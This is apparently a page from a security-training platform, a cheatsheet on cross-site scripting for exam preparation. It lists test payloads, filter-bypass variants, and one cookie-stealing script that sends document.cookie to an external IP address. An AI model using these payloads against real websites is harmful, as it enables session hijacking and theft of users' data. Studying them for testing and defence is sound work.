Cross-Site Scripting (XSS)

Web
> Start Learning

πŸ“– Overview

Finding and exploiting XSS vulnerabilities.

🎯
1
Exercises
πŸƒ
1
Flashcards
πŸ—ΊοΈ
1
Mind Maps

πŸ“‹ Cheatsheet

Test Payloads

<script>alert(1)</script> # Basic script tag payload
<img src=x onerror=alert(1)> # Image tag with onerror event
<svg onload=alert(1)> # SVG tag with onload event

Cookie Stealing

<script>new Image().src='http://10.10.14.5/?c='+document.cookie</script> # Steal cookies via image request

Filter Bypass

<ScRiPt>alert(1)</ScRiPt> # Bypass case-sensitive filters
<img src=x onerror=alert`1`> # Bypass parenthesis filters

πŸ’» Command Examples

⚠️ Common Pitfalls

  • Not testing all inputs
  • Missing stored XSS

πŸ’‘ Exam Survival Tips

  • Check reflected and stored
  • Look for DOM-based XSS

πŸ—ΊοΈ Mind Maps